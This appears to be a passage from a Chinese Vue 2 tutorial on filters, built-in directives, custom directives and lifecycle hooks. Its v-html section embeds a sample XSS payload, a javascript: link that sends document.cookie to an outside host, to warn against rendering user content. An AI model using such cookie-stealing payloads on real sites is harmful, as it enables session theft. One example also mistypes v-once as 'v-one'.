- 过滤器也可以接收额外参数、多个过滤器也可以串联
- 并没有改变原本的数据, 是产生新的对应的数据
示例:
<!--21.过滤器.html-->
<div id="root">
<p>getFormattedTime: {{ getFormattedTime(time) }}</p>
<p>formattedTime: {{ formattedTime }}</p>
<p>formatTime: {{ time | formatTime }}</p>
<p>formatTime: {{ time | formatTime('YYYY-MM-DD') }}</p>
<p>formatTime and slice: {{ time | formatTime | slice(0, 4) }}</p>
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.7/dayjs.min.js"></script>
<script>
Vue.config.productionTip = false; // 关闭生产提示
const vm = new Vue({
el:'#root',
data:{
time: new Date(),
},
methods: {
getFormattedTime(time) {
return format(time);
},
},
computed: {
formattedTime() {
return format(this.time);
}
},
filters: {
formatTime(value, pattern) {
return format(value, pattern);
},
slice(value, start, end) {
return value.slice(start, end);
}
}
});
function format(date, pattern = 'YYYY-MM-DD HH:mm:ss') {
return dayjs(date).format(pattern);
}
</script>
# 15. 内置指令
已经学过的指令:
指令 | 说明 |
---|---|
v-bind | 单向绑定解析表达式, 可简写为 :xxx |
v-model | 双向数据绑定 |
v-for | 遍历数组/对象/字符串 |
v-on | 绑定事件监听, 可简写为 @ |
v-if | 条件渲染(动态控制节点是否存存在) |
v-else | 条件渲染(动态控制节点是否存存在) |
v-show | 条件渲染 (动态控制节点是否展示) |
# 15.1. v-text
功能与 element.innerText
一致,且会转义传入的值
作用:向其所在的节点中渲染文本内容。
与插值语法的区别:v-text
会替换掉节点中的内容,{{xx}}
则不会。
示例:
data = {
message: '一段文本'
};
<div v-text="message"></div>
# 15.2. v-html
功能与 element.innerHTML
一致
作用:向指定节点中渲染包含 html 结构的内容。
与插值语法的区别:
v-html
会替换掉节点中所有的内容,{{xx}}
则不会。v-html
可以识别 html 结构。
严重注意:v-html
有安全性问题!!!!
- 在网站上动态渲染任意 HTML 是非常危险的,容易导致 XSS(跨站脚本攻击)。
- 一定要在可信的内容上使用
v-html
,永不要用在用户提交的内容上!
示例:
<!--22.内置指令-v-html.html-->
<div id="root">
<div v-html="str"></div>
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
Vue.config.productionTip = false; // 关闭生产提示
// cookie 的 httpOnly 属性为 true 时,只能 HTTP 访问该 cookie, JS 不能访问
// 如果服务端设置的 cookie 时 httpOnly 为 false,可能会导致 XSS 时信息泄露
const vm = new Vue({
el:'#root',
data:{
str: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
},
});
</script>
# 15.3. v-cloak
本质是一个特殊属性,Vue 实例创建完毕并接管容器后,会删掉 v-cloak
属性。
使用 css 配合 v-cloak
可以解决网速慢时页面展示出 {{xxx}}
的(未解析的模板)问题。
示例:
<style>
[v-cloak] {
display: none;
}
</style>
<div id="root">
<div v-cloak>{{ xxx }}</div>
</div>
<script src="...../vue.js"></script>
<script src="...../main.js"></script>
# 15.4. v-once
v-once
所在节点在初次动态渲染后,就视为静态内容了。
以后数据的改变不会引起 v-once
所在结构的更新,可以用于优化性能。
示例:
<script>
data = {
message: '你好'
}
</script>
<div v-one>{{ message }}</div>
<!--
渲染之后,无论 message 怎么变化,页面都不发生变化(总是显示 “你好”)
-->
# 15.5. v-pre
跳过其所在节点的编译过程。
可利用它跳过 没有使用指令语法、没有使用插值语法 的节点,会加快编译。
示例:
<script>
data = {
message: '你好'
}
</script>
<div v-pre>{{ message }}</div>
<!--
最终交给浏览器解析的片段是
<div>{{ message }}</div>
而不是
<div>你好</div>
-->
# 16. 自定义指令
使用:
<!--
binding:
arg: "text"
expression: "1 + 2"
value: 3
使用时:
必须加 v-
必须是 kebab-case 命名方式
-->
<div v-directive-name-one:text="1 + 2"></div>
局部指令:
new Vue({
directives: {
// bind、update 时调用
'directive-name-one'(element, binding) {},
// 定义时,不加 v-,可以是 kebab-case 命名方式
'directive-name-two': {
bind(element, binding) {},
inserted(element, binding) {},
update(element, binding) {},
},
// 也可以是 camelCase 命名方式
'directiveNameThree'(element, binding) {},
},
});
全局指令:
Vue.directive('big', (element, binding) => {});
Vue.directive('focus', { /* 配置对象 */ });
回调函数:
bind
: 指令第一次绑定到元素时。(类比 created)inserted
: 被绑定元素插入父节点时调用,不一定已被插入文档中。(类比 mounted)update
: 所在组件的 VNode 更新时调用。unbind
: 指令与元素解绑时调用。(类比 beforeDestroy)
回调函数的参数:
el
:指令所绑定的元素,可以用来直接操作 DOM。binding
: 对象,包含以下属性:name
:指令名,不包括v-
前缀。value
: 表达式的值,如v-my="1 + 1"
,value
的值为2
expression
: 表达式,如v-my="1 + 1"
,expression
的值为"1 + 1"
vnode
oldVnode
其他:
- 指令定义时不加
v-
,但使用时要加v-
- 指令名如果是多个单词,定义时可以是 kebab-case、camelCase,使用时必须是 kebab-case,
示例:
<!--23.自定义指令.html-->
<div id="root">
<h2>n 的原始值: {{n}}</h2>
<h2>(n + 1) 乘以 10 后的值:<span v-big:text="n + 1"></span></h2>
<h2><input type="text" v-focus-bind:value="n"></h2>
<p><button @click="n++">n++</button></p>
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
Vue.config.productionTip = false; // 关闭生产提示
Vue.directive('focus-bind', {
// 指令与元素成功绑定时(一上来)
bind(element, binding) {
element.value = binding.value;
},
// 指令所在元素被插入页面时
inserted(element, binding) {
element.focus();
},
// 指令所在的模板被重新解析时
update(element, binding) {
element.value = binding.value;
}
});
const vm = new Vue({
el:'#root',
data:{
n: 1,
},
directives: {
/*
big函数何时会被调用?
1. 指令与元素成功绑定时(一上来)。
2. 指令所在的模板被重新解析时。
*/
big(element, binding) {
const {
expression, // "n + 1"
value, // 2
arg, // "text"
} = binding;
element.innerText = value * 10;
},
}
});
</script>
参考:
# 17. 生命周期
说明:生命周期回调函数、生命周期函数、生命周期钩子
生命周期函数:
生命周期函数 | 说明 |
---|---|
beforeCreate | - |
created | - |
beforeMount | 操作 DOM,最终都不会生效 |
mounted | options.el 被 vm.$el 替换了 |
beforeUpdate | 数据不同步,数据变了但页面为更新 |
updated | - |
beforeDestroy | 销毁的是自定义事件 |
destroyed | - |
图示:
常用的生命周期钩子:
mounted
: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。beforeDestroy
: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。
关于销毁 Vue 实例:
- 销毁后借助 Vue 开发者工具看不到任何信息。
- 销毁后自定义事件会失效,但原生 DOM 事件依然有效。
- 一般不会在
beforeDestroy
操作数据,因为即便操作数据,也不会再触发更新流程了。
上一篇: 下一篇: